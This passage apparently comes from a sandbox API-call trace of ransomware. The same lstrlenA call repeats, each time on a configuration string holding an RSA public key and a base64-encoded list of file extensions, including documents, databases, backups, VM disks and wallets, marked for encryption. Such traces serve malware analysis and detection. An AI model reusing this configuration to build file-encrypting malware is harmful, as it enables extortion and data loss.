LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmE